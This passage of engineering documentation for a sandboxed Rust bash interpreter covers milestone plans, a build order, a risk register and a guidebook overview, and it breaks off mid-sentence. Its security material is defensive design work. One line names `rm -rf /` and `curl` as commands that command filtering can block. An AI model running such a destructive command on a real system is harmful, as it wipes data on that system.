`/bin/<cmd>` (e.g., `#!/bin/bash\\n# built-in: ls`) so they appear in `ls /bin` and VFS existence checks.\n- **Default environment variables**: Set sensible defaults for `PATH` (`/usr/bin:/bin`), `HOME`, `USER`, `HOSTNAME`, `OSTYPE` (`linux-gnu`), `MACHTYPE` (`x86_64-pc-linux-gnu`), `HOSTTYPE` (`x86_64`), `SHELL` (`/bin/bash`), `BASH` (`/bin/bash`), `BASH_VERSION`, `IFS`, `PWD`, `OLDPWD`, `TERM` (`xterm-256color`) unless the caller overrides them.\n- **Fix `which` command**: Replace hardcoded `REGISTERED_COMMANDS`/`SHELL_BUILTINS` list lookups with actual PATH-based resolution — iterate PATH directories, check VFS file existence, return the real resolved path. Fall back to checking builtins and functions.\n\n### ✅ M7.8 — Command Fidelity Infrastructure\n\nAdd infrastructure for systematic command correctness:\n\n- ✅ **Unknown-flag error handling**: Add a consistent `unknown_option(cmd, flag)` helper that all commands use when encountering unrecognized flags. Return non-zero exit code with a message matching bash format (`cmd: invalid option -- 'x'` / `cmd: unrecognized option '--foo'`).\n- ✅ **Path-argument fidelity for file-oriented commands**: Add shared conformance tests (and helper utilities where useful) for commands that receive shell-expanded path operands. Mixed file/directory operand sets must follow bash/GNU tool behavior per command instead of failing uniformly on the first directory or treating every operand as the same kind of path. Examples: `ls *` should list regular files directly while also listing directory operands correctly, and `grep pattern *` should still process file operands while reporting directory operands in non-recursive mode.\n- ✅ **Comparison test suite**: Fixture-based tests that run scripts against real bash and assert matching stdout/stderr/exit code. Record expected output in fixture files for offline replay. Enables differential testing without requiring bash at every `cargo test`.\n- ✅ **Per-command flag metadata**: Each command exports a declarative flag list (name, type, implemented vs stubbed). Enables coverage tracking and systematic fuzzing of flag combinations.\n\n### ✅ M7.9 — AI Agent Documentation (`AGENTS.md`)\n\nShip a purpose-built `AGENTS.md` in the npm package and alongside the CLI binary. This is the primary interface documentation for AI agents consuming rust-bash. Inspired by just-bash's `packages/core/AGENTS.md` which ships as `dist/AGENTS.md`.\n\n- ✅ **Content**: Quick-start examples, available commands grouped by category, tools-by-file-format recipes (JSON with `jq`, YAML with `yq`, CSV with `xan`), key behavioral notes (isolation model, no real filesystem, no network by default).\n- ✅ **Distribution**: Include in npm package (`rust-bash`), embed in CLI `--help`, and publish to docs site.\n- ✅ **Validation**: Add a test that verifies all documented commands actually exist in the registry and all code examples parse successfully.\n\n---\n\n## Milestone 8: Embedded Runtimes and Data Formats\n\n**Goal**: Add embedded language runtimes and data format processing commands, expanding rust-bash from a shell interpreter into a multi-tool sandbox.\n\n### M8.1 — SQLite3 Command\n\nImplement `sqlite3 [database] [query]` via `rusqlite` crate (bundles SQLite as a static library — no external dependency). Support multiple output modes (list, csv, json, column, table, markdown, tabs). Query timeout to prevent runaway queries. Databases stored in VFS as binary blobs. `:memory:` for in-memory databases.\n\n### M8.2 — yq (Multi-Format Data Processor)\n\nImplement `yq` for YAML/XML/TOML/CSV/INI processing with jq-style query syntax. Auto-detect format from file extension, explicit override via `-p input_format -o output_format`. Reuse the existing `jaq` query engine where possible for filter evaluation. Support `-i` for in-place VFS edit. Crates: `serde_yaml`, `quick-xml`, `toml`, `csv`, `rust-ini`.\n\n### M8.3 — xan (CSV Toolkit)\n\nImplement `xan` as a CSV processing toolkit with subcommands: `headers`, `count`, `select`, `search`, `filter`, `sort`, `frequency`, `stats`, `sample`, `slice`, `split`, `cat`, `join`, `flatten`, `transpose`. Translate operations to queries where possible, sharing infrastructure with jq/yq.\n\n### M8.4 — Embedded Python Runtime\n\nAdd opt-in `python3`/`python` command. **Design exploration required**: evaluate (a) bundling CPython compiled to WASM (like just-bash), (b) calling host Python via `std::process::Command` behind a feature flag (breaks sandbox but is simpler), or (c) embedding RustPython (pure Rust Python implementation). Option (c) is most aligned with the sandbox model but has stdlib gaps. Feature-gate behind `python` cargo feature.\n\n### M8.5 — Embedded JavaScript Runtime\n\nAdd opt-in `js-exec` command. **Design exploration required**: evaluate (a) embedding `boa_engine` (pure Rust JS engine — good sandbox story, limited Node.js compat), (b) `quickjs-rs` bindings (more complete JS, still embeddable), or (c) `deno_core` (V8-based, heavy but full Node.js compat). For AI agent use, basic JS/TS execution with `console.log`, `JSON`, and VFS access is sufficient. Feature-gate behind `javascript` cargo feature.\n\n### M8.6 — html-to-markdown\n\nImplement `html-to-markdown` command for converting HTML to Markdown. Useful for AI agents processing web content fetched via `curl`. Via a Rust HTML-to-Markdown crate (e.g., `htmd` or custom using `scraper` + formatting logic). Support `-b` (bullet character), `-c` (code fence style), heading style selection.\n\n### M8.7 — Runtime Boundary Hardening\n\nWhen embedded runtimes (Python, JavaScript) and FFI/WASM boundaries are introduced, add defense-in-depth measures at each boundary crossing. Inspired by just-bash's `DefenseInDepthBox` system (AsyncLocalStorage-based context tracking, monkey-patching dangerous globals, violation logging), but adapted to Rust's capabilities:\n\n- **Capability-based isolation**: Embedded runtimes (M8.4/M8.5) receive only the capabilities explicitly granted — VFS access, environment variables, network policy. No ambient authority leaks through the runtime boundary.\n- **Context propagation**: Track execution context across async/FFI boundaries. Ensure that cancellation signals, execution limits, and network policy enforcement propagate correctly when commands cross runtime boundaries (e.g., `js-exec` calling back into the shell via `exec`).\n- **WASM boundary audit**: Verify that the `wasm-bindgen` boundary in M5.3 does not expose host filesystem, environment variables, or network access beyond what is explicitly granted. Document the attack surface of the WASM boundary.\n- **FFI boundary audit**: Verify that the C FFI boundary in M5.2 does not allow memory corruption, use-after-free, or double-free via the exported API. Document all unsafe invariants.\n\n**Why in M8**: This work becomes concrete only when embedded runtimes exist. The security design should be done alongside the runtime implementations, not retrofitted.\n\n---\n\n## Milestone 9: Platform, Security & Execution API\n\n**Goal**: Add platform-level capabilities that make rust-bash a better embeddable runtime for host applications.\n\n### M9.1 — Cooperative Cancellation\n\nAdd `Arc<AtomicBool>` cancellation flag to `InterpreterState`. Check in `check_limits()` alongside existing wall-clock timeout. Expose `RustBash::cancel_handle() -> CancelHandle` that the host can call from another thread. This is more ergonomic than the current wall-clock-only approach — hosts get immediate, cooperative cancellation at the next statement boundary.\n\nAdditionally, support **per-exec cancellation** via an optional `signal` parameter on `exec()`. just-bash accepts `AbortSignal` per-exec call, enabling agent orchestrators to cancel individual commands without destroying the entire shell instance. In Rust, this can be an `Option<Arc<AtomicBool>>` on `ExecOptions` that overrides the instance-level cancel handle for that execution only. This is important for timeout-per-command patterns in agent loops.\n\n### M9.2 — Lazy File Loading\n\nAdd lazy file materialization to `InMemoryFs`. Files can be registered with a callback (`Box<dyn Fn() -> Result<Vec<u8>, VfsError>>`) instead of upfront content. Callback is invoked on first `read_file`, result is cached. Supports large file sets where most files are never read (e.g., mounting a project directory with thousands of files but only reading a few). Also enables dynamic content generation.\n\n### M9.3 — AST Transform Pipeline\n\nExpose brush-parser AST via a public `parse()` API. Build a `TransformPipeline` that chains visitor plugins over the AST and serializes back to bash script text. Built-in plugins: `CommandCollectorPlugin` (extract unique command names from a script — useful for pre-flight permission checks), `TeePlugin` (inject `tee` to capture per-command stdout). Custom plugin trait for host-defined transforms. Enables script instrumentation without execution.\n\n### M9.4 — High-Level Convenience API\n\nAdd high-level convenience features to the `Bash` class (TypeScript) and `RustBashBuilder` (Rust): command filtering, per-exec env/cwd isolation, logger interface, virtual process info, safe argument passing, script normalization. These enrich the existing API rather than introducing a separate `Sandbox` class.\n\nAdditional API features:\n- **Command filtering** — `commands: Vec<CommandName>` option restricts which commands are available per-session. Critical for least-privilege sandboxing (e.g., prevent `curl`, `rm -rf /`). just-bash has this as `commands?: CommandName[]` in `BashOptions`.\n- **Per-exec env/cwd isolation** — `exec()` accepts `env`, `cwd`, `replace_env` overrides that are restored after execution. Useful for multi-tenant scenarios. The `replace_env: bool` option starts execution with an empty environment (only the provided env vars), rather than merging. This is important for reproducibility and isolation — just-bash supports this as `replaceEnv`.\n- **ExecResult environment snapshot** — Return the post-execution environment as `env: HashMap<String, String>` in `ExecResult`. Critical for AI agent frameworks that need to inspect env changes after a script runs (e.g., `source .env` then read the vars). just-bash includes this as `env: Record<string, string>` in every exec result.\n- **Logger interface** — `BashLogger` trait with `info`/`debug` methods for execution tracing (xtrace, command dispatch, etc.). Essential for debugging in production.\n- **Trace/performance profiling** — `TraceCallback` for per-command timing events with category, name, duration, and details. Enables performance analysis of scripts. just-bash has `TraceEvent` with `{ category, name, durationMs, details }`. Can be implemented as an extension of the logger or a separate callback.\n- **Virtual process info** — configurable `ProcessInfo { pid, ppid, uid, gid }` in builder options. Powers `$$`, `$PPID`, `$UID`, `$EUID`, `$BASHPID`, and `/proc/self/status`. Supports multi-sandbox scenarios with unique PIDs. just-bash wires this through constructor options as `processInfo`.\n- **Safe argument passing** — `ExecOptions.args: Vec<String>` for additional argv entries that bypass shell parsing entirely (no escaping/splitting/globbing). Like `child_process.spawn(cmd, args)`. Safe way to pass filenames with special characters.\n- **Script normalization** — strip leading whitespace from template literals while preserving heredoc content. `raw_script: bool` option to disable.\n\n### M9.5 — Virtual /proc Filesystem\n\nAdd virtual `/proc/self/status`, `/proc/version`, `/proc/self/fd/`, and `/proc/self/environ` entries to the VFS. Simulated values only — virtual PID/PPID/UID/GID (from M9.4 ProcessInfo), synthetic kernel version string. Prevents scripts that probe `/proc` from failing. Mount via `MountableFs` at `/proc`.\n\n### M9.6 — Defense-in-Depth Security Hardening\n\nFormalize security guarantees beyond VFS + NetworkPolicy + ExecutionLimits. This milestone covers both runtime hardening and documentation.\n\n**Runtime hardening:**\n- **Resource accounting per-exec** — track peak memory, total I/O bytes, and command counts. Return as optional metrics in `ExecResult` for observability.\n- **ReDoS audit** — verify that all user-provided regex paths (`=~`, `grep`, `sed`) use Rust's `regex` crate (RE2-based, linear-time by default) and that no `fancy-regex` or PCRE paths are exposed to untrusted input.\n- **Exported env isolation** — audit that non-exported shell variables do not leak to child commands — only exported variables should be visible.\n- **Panic audit** — audit all command implementations for potential panics or unbounded allocations. Every command must handle invalid input gracefully.\n\n**Threat model documentation:**\nWrite a comprehensive `THREAT_MODEL.md` (inspired by just-bash's 400-line threat model) covering:\n- **Threat actors**: Untrusted script author (primary), malicious data source, compromised dependency.\n- **Trust boundaries**: Script input → parser, interpreter → VFS, interpreter → commands, interpreter → network, FFI/WASM boundaries.\n- **Trust assumptions**: What is trusted (host application, Rust runtime, OS kernel) and what is not (scripts, data, network responses).\n- **Attack surface analysis**: For each boundary, enumerate attack vectors and existing mitigations.\n- **Residual risks**: Known gaps, accepted risks, and their mitigations.\n- **Security properties**: What the sandbox guarantees (no host FS access, no process spawning, no network without policy) and what it does not.\n\n### M9.7 — Fuzz Testing Suite\n\nDedicated fuzz testing infrastructure for the interpreter and all command implementations. This is critical for a sandbox that runs untrusted code — fuzzing finds crashes, panics, infinite loops, and resource exhaustion that unit tests miss.\n\n- **Parser/interpreter fuzzing** — use `cargo-fuzz` (libfuzzer) to generate random bash scripts and feed them to the interpreter. Targets: parse-only (find parser panics), parse-and-execute (find interpreter panics), expansion (find expansion edge cases). Seed corpus from existing test scripts and real-world bash snippets.\n- **Command fuzzing** — fuzz individual commands with random argument combinations and random stdin. Prioritize commands that do text processing (`sed`, `awk`, `grep`, `jq`) and file manipulation (`tar`, `gzip`).\n- **Property-based testing** — use `proptest` or `arbitrary` crates for structured fuzzing with invariant checks: (a) no command should panic regardless of input, (b) execution limits should never be exceeded without returning `LimitExceeded`, (c) VFS operations should never corrupt internal state, (d) every command should produce valid UTF-8 or controlled binary output.\n- **Differential fuzzing** — generate random scripts, run in both rust-bash and real bash, compare stdout/stderr/exit code. Flag divergences for investigation. Builds on M7.8 comparison infrastructure.\n- **Continuous integration** — configure fuzz targets to run in CI with a time budget (e.g., 5 minutes per target per run). Store crash artifacts in `fuzz/artifacts/` for regression testing.\n\n### M9.8 — Binary Data and Output Encoding Model\n\nDesign and implement a systematic approach to binary data flow through the shell pipeline. This is a prerequisite for M7.3 (compression/archiving) and affects the exec() output boundary.\n\n- **Pipeline byte transparency**: Audit and ensure that pipe data flows as `Vec<u8>` through the entire pipeline path (command stdout → pipe → next command stdin). Verify that no intermediate step lossy-converts to `String`. Rust's `Vec<u8>` is naturally correct, but the pipe/redirect/capture paths must be audited.\n- **Output boundary encoding**: At the `exec()` return boundary, decide how to handle non-UTF-8 output. Options: (a) return `Vec<u8>` for stdout/stderr (breaking API change), (b) return `String` with lossy replacement and a separate `stdout_bytes: Option<Vec<u8>>` field, (c) add an `encoding_hint: Option<String>` field to `ExecResult` indicating binary content (like just-bash's `stdoutEncoding?: \"binary\"`).\n- **Input boundary**: Ensure `stdin` can carry binary data. Currently `stdin` is `&str` — consider `Option<&[u8]>` for binary stdin support.\n- Revisit and complete M7.3 fully after this task is completed\n\njust-bash solves this with latin1 strings internally (each char = one byte) and a `decodeBinaryToUtf8()` function at the output boundary. Rust should leverage `Vec<u8>` naturally but must design the API boundary carefully.\n\n### M9.9 — Network Policy Enhancements\n\nExtend `NetworkPolicy` with features from just-bash's battle-tested network layer:\n\n- **`dangerously_allow_all: bool`** — convenience bypass for development/trusted environments. Clearly named to discourage production use. just-bash has `dangerouslyAllowFullInternetAccess`.\n- **`deny_private_ranges: bool`** — reject URLs that resolve to private/loopback IP addresses (10.x, 172.16.x, 192.168.x, 127.x, ::1, link-local). Performs both lexical hostname checks and DNS resolution to catch DNS rebinding attacks. Enforced even when `dangerously_allow_all` is true. Uses resolved-IP pinning to prevent TOCTOU attacks.\n- **Request transforms / credential brokering** — per-allowed-URL `transform` callback that can inject headers (auth tokens) at the fetch boundary so secrets never enter the sandbox environment. just-bash has `RequestTransform { headers: Record<string, string> }` per `AllowedUrl` entry. This enables secure API access without exposing credentials to scripts.\n- **Response size limits** — `max_response_size: usize` to prevent memory exhaustion from large HTTP responses.\n\n### M9.10 — VFS Fidelity Enhancements\n\nAdd VFS trait methods for better compatibility with real-world shell scripts:\n\n- **`utimes(path, atime, mtime)`** — set file access and modification times. Required for `touch -t` and scripts that rely on file timestamps for logic (e.g., Makefiles, caching). just-bash's `IFileSystem` includes this.\n- **`/dev/stdin`, `/dev/stdout`, `/dev/stderr`** — special-case these paths in I/O handling. Currently only `/dev/null` is handled (M6.10 mentions these but they should also be part of the VFS layer).\n\n### M9.11 — Agent Workflow Integration Tests\n\nBuild a test suite simulating realistic AI agent workflows, inspired by just-bash's 13 `agent-examples/*.test.ts` files. Each test represents a real-world agent task:\n\n- **Bug investigation**: grep through logs, analyze stack traces, identify root causes.\n- **Code review**: diff files, check for patterns, analyze dependencies.\n- **Codebase exploration**: find files, read configs, navigate directory structures.\n- **Log analysis**: parse structured logs with awk/jq, aggregate statistics.\n- **Text processing workflows**: multi-stage pipelines combining sed, awk, sort, uniq.\n- **Config analysis**: read JSON/YAML configs, extract values, validate structure.\n- **Security audit**: grep for secrets, check file permissions, analyze network configs.\n\nThese tests validate the command surface against realistic agent patterns, not just shell correctness. They also serve as living documentation of expected usage.\n\n---\n\n## Build Order and Dependencies\n\n```\nM1.1 (VFS trait) ──┬── M1.2 (output fix) ── M1.3 (word splitting)\n                   │          │\n                   │   M1.4 (cmd substitution) ── M1.5 (exec callback)\n                   │\n                   ├── M1.6 (test/[[)\n                   ├── M1.7 (break/continue)\n                   ├── M1.8 (globs) ── M1.9 (brace expansion)\n                   ├── M1.10 (heredocs)\n                   ├── M1.11 (arithmetic)\n                   ├── M1.12 (functions) ← depends on M1.6\n                   ├── M1.13 (case)\n                   ├── M1.14 (commands)\n                   └── M1.15 (errors)\n                         │\nM2.1–M2.6 ──────────────┘  (depend on M1 interpreter)\nM3.1 (limits) ──────────── (integrates into interpreter from M1)\nM3.2 (network) ──────────  (curl needs network policy)\nM4.1–M4.3 ──────────────── (depend on M1.1 VFS trait)\nM5.1–M5.4 ──────────────── (depend on M1 + M2 for usefulness)\n\nM6.1 (arrays) ─────┬── M6.2 (PIPESTATUS/BASH_REMATCH)\n                    ├── M6.4 (mapfile/readarray — needs arrays)\n                    ├── M6.5 (read -a — needs arrays)\n                    ├── M6.6 (declare -a/-A — needs arrays)\n                    └── M6.8 (FUNCNAME/BASH_SOURCE — needs arrays)\nM6.3 (shopt) ──────────── (independent — wires into M1.8 globs)\nM6.7 (process sub) ────── (independent — parser support exists)\nM6.8 (special vars) ───── (independent except FUNCNAME arrays)\nM6.9 (set -x/-v/-n) ──── (independent)\nM6.10 (adv redirections)  (independent)\nM6.11 (param transforms)  (independent)\nM6.12 (diff tests) ────── (independent — start early for confidence)\nM7.1 (--help) ─────────── (independent — can start anytime)\nM7.2–M7.6 ─────────────── (independent — new command implementations)\nM7.7 (default fs layout) ─ (should happen early — affects M7.2+ command testing)\nM7.9 (AGENTS.md) ──────── (after M7.1–M7.6 — needs command list to document)\nM8.1–M8.3 ─────────────── (depend on M1 command infrastructure)\nM8.4–M8.5 ─────────────── (require design exploration — feature-gated)\nM8.7 (runtime hardening)   (alongside M8.4/M8.5 — design with runtimes)\nM9.1–M9.5 ─────────────── (depend on M1–M5 for full platform)\nM9.6 (security hardening)  (independent — can start threat model early)\nM9.7 (fuzz testing) ───── (depends on M7.8 comparison infra; can start early with interpreter-only targets)\nM9.8 (binary encoding) ── (before M7.3 compression — prerequisite for byte transparency)\nM9.9 (network enhancements) (extends M3.2 — independent)\nM9.10 (VFS fidelity) ──── (independent)\n```\n\n**Recommended order (M1–M5)**: M1.1 → M1.2 → M1.3 → M1.4 → M1.5 → M1.6 → M1.7 → M1.8/M1.9/M1.10/M1.11 (parallel) → M1.12 → M1.13 → M1.14 → M1.15 → M3.1 → M2.1 → M2.2 → M2.3 → M2.4 → M4.1 → M5.1 → M5.2 → M5.3\n\n**Recommended order (M6–M9)**: M6.12 (diff tests — start early for confidence) → M6.1 (arrays — critical path) → M6.8 ($LINENO/$SECONDS — quick wins) → M6.2/M6.3 (parallel) → M6.4/M6.5/M6.6 (parallel, unlocked by arrays) → M6.9/M6.10/M6.11 (parallel) → M6.7 → M9.8 (binary encoding — prerequisite for compression) → M7.7 (default fs layout — do before other M7 work) → M7.1 → M7.2/M7.3/M7.4/M7.5/M7.6/M7.8 (parallel) → M7.9 (agent docs) → M8.1 → M8.2 → M8.3 → M8.4/M8.5 (design exploration first) → M8.7 (runtime hardening, alongside M8.4/M8.5) → M9.1 → M9.2 → M9.3 → M9.4 → M9.5 → M9.6 (threat model can start earlier) → M9.7 → M9.9/M9.10 (parallel)\n\n---\n\n## Open Questions\n\n1. **Adapter layer for brush-parser types?** Wrapping AST types insulates from upstream changes but adds code. Currently not implemented — we use brush-parser types directly.\n\n2. **Async vs sync API**: `exec()` is synchronous. An async wrapper can be added later if needed for timeout or concurrent pipe execution. Timeouts are currently implemented via wall-clock checks during execution.\n\n3. **Error message compatibility**: Currently matching bash error format (`cmd: msg`) but not exact wording. Close enough for AI agent usage.\n\n---\n\n## Risk Register\n\n| Risk | Likelihood | Impact | Mitigation | Status |\n|------|-----------|--------|------------|--------|\n| brush-parser breaking changes | Medium | Medium | Pin to crates.io version (`0.3.0`); update test suite on upgrade | Open |\n| awk/sed complexity explosion | Low | Medium | 80/20 subset implemented and shipped | ✅ Resolved |\n| Word expansion edge cases | Medium | High | Differential testing against real bash | Open |\n| WASM binary size too large | Medium | Medium | Feature-gate heavy commands (planned for M5) | Open |\n| Command substitution refactoring | Low | Medium | Interior mutability approach implemented | ✅ Resolved |\n| Lock poisoning from panics | Low | High | parking_lot::RwLock (non-poisoning) implemented | ✅ Resolved |\n| Array edge case complexity | Medium | High | Bash arrays have many subtle behaviors (sparse indexing, quoting differences between `@` and `*`, unset-without-reindex). Differential testing against real bash required. | Open |\n| brush-parser array AST representation | Low | Medium | Verify how brush-parser represents `${arr[0]}`, `${arr[@]:1:3}`, `${!arr[@]}` before starting M6.1. Parser already handles `MemberKeys` and `ArrayElementName`. | Open |\n| Nameref infinite loops | Low | Medium | `declare -n ref=ref` or circular chains. Cap resolution depth at 10. | Open |\n| Embedded runtime binary size | Medium | High | Python/JS runtimes (M8.4/M8.5) could bloat binary significantly. Feature-gate behind cargo features. | Open |\n| Process substitution temp file leaks | Low | Low | Temp VFS files from `<(cmd)` could leak on panic. Use cleanup-on-drop guard. | Open |\n| Binary data corruption in pipes | Medium | High | If any pipe/redirect/capture path converts `Vec<u8>` to `String`, binary data (gzip, tar) will be silently corrupted. Audit pipeline data flow before M7.3. | Open |\n| `set -a` assignment site coverage | Medium | Medium | Allexport must be wired into every assignment site (plain, declare, local, for, read). Missing one causes silent env leaks. Track with exhaustive tests. | Open |\n| Indirect expansion complexity | Medium | Medium | `${!ref}` when `ref` points to array elements, namerefs, or chained indirection — interactions are subtle. Budget extra testing time. | Open |\n| SSRF TOCTOU in DNS resolution | Low | High | DNS rebinding: hostname must be resolved and IP pinned before the HTTP connection to prevent time-of-check/time-of-use attacks. Use custom resolver + connect-time IP pinning. | Open |\n| ExecResult API design for binary output | Medium | Medium | If stdout is `String`, binary data from gzip/tar is lost. If `Vec<u8>`, ergonomics suffer for text-heavy AI agent use. Need careful design in M9.8 — possibly dual fields or encoding hint. | Open |\n| M9 scope creep | Medium | Medium | M9 now covers security, execution API, networking, VFS fidelity, and fuzz testing. Risk of becoming a dumping ground. Mitigate by explicitly splitting into subsections and prioritizing P0 items. | Open |\n| Runtime boundary capability leaks | Low | High | Embedded runtimes (M8.4/M8.5) could accidentally inherit host capabilities. Design capability-based isolation from the start (M8.7). | Open |\n| Missing threat model during early adoption | Medium | Medium | Sandbox providers may adopt rust-bash before M9.6 threat model is written. Ship a minimal threat model early as part of README/guidebook. | Open |\n","/home/user/docs/guidebook/README.md":"# rust-bash Guidebook\n\nInternal engineering documentation for rust-bash — a Rust-based sandboxed bash environment for AI agents. This guidebook describes the system architecture, design decisions, and implementation details. It is the canonical reference for contributors and AI agents working on this codebase.\n\n## Chapters\n\n| # | Chapter | Description |\n|---|---------|-------------|\n| 1 | [What We Are Building](01-what-we-are-building.md) | Vision, goals, non-goals, competitive positioning |\n| 2 | [Architecture Overview](02-architecture-overview.md) | High-level design, module structure, data flow |\n| 3 | [Parsing Layer](03-parsing-layer.md) | brush-parser integration, AST types, parsing pipeline |\n| 4 | [Interpreter Engine](04-interpreter-engine.md) | AST walking, word expansion, control flow, pipelines |\n| 5 | [Virtual Filesystem](05-virtual-filesystem.md) | VFS trait, InMemoryFs, OverlayFs, MountableFs, ReadWriteFs |\n| 6 | [Command System](06-command-system.md) | Command trait, registry, command categories, custom commands |\n| 7 | [Execution Safety](07-execution-safety.md) | Limits, network policy, security model, threat mitigations |\n| 8 | [Integration Targets](08-integration-targets.md) | C FFI, WASM, CLI binary, AI SDK tool definitions |\n| 9 | [Testing Strategy](09-testing-strategy.md) | Unit tests, snapshot tests, differential testing, fuzzing |\n| 10 | [Implementation Plan](10-implementation-plan.md) | Milestones, dependencies, build order, risk register |\n\n## How to Use This Guidebook\n\n- **New to the codebase?** Start with Chapter 1 for the \"why\", then Chapter 2 for the \"how\".\n- **Implementing a feature?** Read the relevant chapter for the subsystem you're touching, then check Chapter 10 for milestone context and dependencies.\n- **Adding a command?** Chapter 6 covers the command trait, registration, and conventions.\n- **Working on the interpreter?** Chapters 3 and 4 cover parsing and execution in detail.\n- **Security review?** Chapter 7 covers the threat model and all mitigations.\n\n## Conventions\n\n- Chapters describe the target architecture, not just what exists today. Sections that describe unimplemented features are marked with **(planned)**.\n- Code examples show the target API. If the current implementation differs, both are shown.\n- This guidebook is the single source of truth. If `AGENTS.md` or `README.md` diverge from it, follow the guidebook.\n\n## Maintenance\n\nWhen making changes to the codebase:\n1. Update the relevant guidebook chapter(s) to reflect the change.\n2. If a planned feature becomes implemented, remove the **(planned)** marker.\n3. Keep Chapter 10 (Implementation Plan) current with milestone status.\n","/home/user/docs/plans/M1.md":"# Milestone 1: Core Shell — Implementation Plan\n\n## Problem Statement\n\nBuild a correct, reliable sandboxed bash interpreter from scratch in Rust. The project is currently a blank slate (`lib.rs` has only a placeholder). M1 delivers: a `VirtualFs` trait + `InMemoryFs`, a full interpreter engine (AST walking, word expansion, pipelines, control flow), ~35 commands, and a public API (`RustBash::exec()`).\n\n## Approach\n\nFollow the guidebook's recommended order (Ch. 10) but reorganize into pragmatic phases since we're bootstrapping from zero — not \"extracting\" or \"fixing\" existing code. Each phase is testable end-to-end before moving to the next.\n\nDependencies: `brush-parser` (pinned git rev), `parking_lot` (non-poisoning RwLock), `insta` (snapshot testing, dev-dep).\n\n---\n\n## Phase 0 — Project Scaffolding & VFS (M1.1 + M1.15-partial)\n\n> Establishes the foundation everything else builds on.\n\n### 0a. Project structure & dependencies\n- Create module layout: `src/{api.rs, error.rs, vfs/, interpreter/, commands/}`\n- Add `brush-parser` (git dep, pinned rev) and `parking_lot` to `Cargo.toml`\n- Add `insta` as dev-dependency for snapshot testing\n- Define `RustBashError` enum (Parse, Execution, LimitExceeded, Vfs, Timeout) + `VfsError` enum\n  - These are needed by everything; define early, refine later in M1.15\n- Verify `cargo check` passes\n\n### 0e. brush-parser API smoke test\n- Write a small test that calls `brush_parser::tokenize_str()`, `brush_parser::parse_tokens()`, and `brush_parser::word::parse()` on representative inputs\n- Verify `WordPiece` variant names and structures match what we expect (Text, SingleQuotedText, DoubleQuotedSequence, ParameterExpansion, CommandSubstitution, etc.)\n- This validates the API surface before building the full expansion pipeline\n- If variants differ from guidebook docs, document the actual API and adjust plan\n\n### 0b. VirtualFs trait\n- Define `VirtualFs` trait in `src/vfs/mod.rs` with full method set (Ch. 5):\n  - File CRUD: `read_file`, `write_file`, `append_file`, `remove_file`\n  - Dirs: `mkdir`, `mkdir_p`, `readdir`, `remove_dir`, `remove_dir_all`\n  - Metadata: `exists`, `stat`, `lstat`, `chmod`, `utimes`\n  - Links: `symlink`, `hardlink`, `readlink`\n  - Path: `canonicalize`\n  - File ops: `copy`, `rename`\n  - Glob: `glob(pattern, cwd)` (stub returning empty; real impl in M1.8). Note: takes `cwd: &Path` parameter per Ch. 5.\n- Define supporting types: `DirEntry`, `Metadata`, `FsNode` enum (File, Directory, Symlink)\n- Trait bound: `Send + Sync`, `&self` on all methods (interior mutability)\n\n### 0c. InMemoryFs implementation\n- `InMemoryFs` wrapping `Arc<parking_lot::RwLock<FsNode>>` (root is always a Directory)\n- Path normalization (resolve `.`, `..`, strip trailing slashes, reject empty)\n- Internal navigation: `with_node()`, `with_node_mut()`, `with_parent_mut()`\n- Implement all `VirtualFs` methods for files, dirs, symlinks\n- Symlink resolution with loop detection\n- `glob()` — return empty for now (placeholder)\n\n### 0d. VFS unit tests\n- File CRUD: create, read, overwrite, append, delete\n- Directory operations: mkdir, mkdir_p, readdir, rmdir, rmdir_all\n- Path normalization: `.`, `..`, trailing slashes, absolute vs relative\n- Symlinks: create, read, resolve, detect loops\n- Error cases: NotFound, AlreadyExists, NotADirectory, IsADirectory, etc.\n- Metadata: mode, mtime\n\n**Exit criteria**: `cargo test` passes with full VFS coverage. `cargo clippy -- -D warnings` clean.\n\n---\n\n## Phase 1 — Interpreter Skeleton & Public API (M1.2 + M1.15-partial)\n\n> Minimal end-to-end: `shell.exec(\"echo hello\")` returns `ExecResult { stdout: \"hello\\n\", .. }`.\n> Split into sub-phases for manageable increments.\n\n### Phase 1A — Core Types, Parsing & Minimal Execution\n\n#### 1A-a. Core types\n- `Variable` struct: `{ value: String, exported: bool, readonly: bool }`\n- `CommandResult`: `{ stdout: String, stderr: String, exit_code: i32 }`\n- `VirtualCommand` trait: `name() -> &str`, `execute(&[String], &CommandContext) -> CommandResult`\n- `CommandContext`: `{ fs, cwd, env, stdin, limits, exec }`\n  - `limits: &ExecutionLimits` — stub with defaults, no enforcement yet (enforcement in M3)\n  - `exec` callback is `None` initially (M1.5 adds it)\n- `ExecutionLimits` struct with all fields from Ch. 7 and sensible defaults (via `Default` impl). No enforcement logic yet — just carry the struct so type signatures are correct from the start.\n- `ExecutionCounters` struct: `{ command_count, call_depth, output_size, start_time }`. Reset per `exec()` call.\n- `InterpreterState`: `{ fs, env, cwd, functions, last_exit_code, commands, shell_opts, limits, counters }`\n  - `shell_opts` tracks `set -e`, `set -u`, `set -o pipefail` (flags only, enforcement in M1.15)\n- `ExecResult`: `{ stdout: String, stderr: String, exit_code: i32 }`\n- `RustBash` struct owning `InterpreterState`\n- `RustBashBuilder` with `.files()`, `.env()`, `.cwd()`, `.command()`, `.execution_limits()`, `.build()`\n\n#### 1A-b. Parsing pipeline\n- Integrate `brush_parser::tokenize_str()` + `brush_parser::parse_tokens()`\n- Parser options: bash mode, extended globbing enabled\n- Wrap parse errors in `RustBashError::Parse`\n\n#### 1A-c. AST walker — compound lists, and-or lists, pipelines\n- `execute_program(program, state) -> Result<ExecResult>`\n- `execute_compound_list(list, state)` — iterate items, **accumulate** stdout/stderr (M1.2)\n- `execute_and_or_list(aol, state)` — short-circuit `&&`/`||` based on exit code\n- `execute_pipeline(pipeline, state)` — chain stdout→stdin between commands; handle `!` negation\n- Separator handling: `;` (sequential), `&` (treat as sequential — no background processes per Ch. 1 non-goals)\n\n#### 1A-d. Simple command execution\n- `execute_simple_command(cmd, state)` — expand words, resolve command, dispatch\n- Command resolution order (per Ch. 4):\n  1. **Special shell builtins** — state-modifying, unshadowable: `cd`, `export`, `unset`, `set`, `exit`, `local`, `return`, `break`, `continue`, `eval`, `source`, `read`, `shift`, `declare`, `readonly`, `trap`\n  2. **User-defined functions** — from `state.functions`\n  3. **Registered commands** — from `state.commands` HashMap (includes `echo`, `test`, `cat`, etc.). **Can be shadowed by functions.**\n  4. **\"Command not found\"** — stderr error, exit code 127\n- Pre-command variable assignments (e.g., `FOO=bar cmd`):\n  - With a command: set `FOO` only for duration of `cmd` (not persisted)\n  - Without a command (`FOO=bar` alone): persisted in environment\n  - Note: `FOO=bar echo $FOO` does NOT 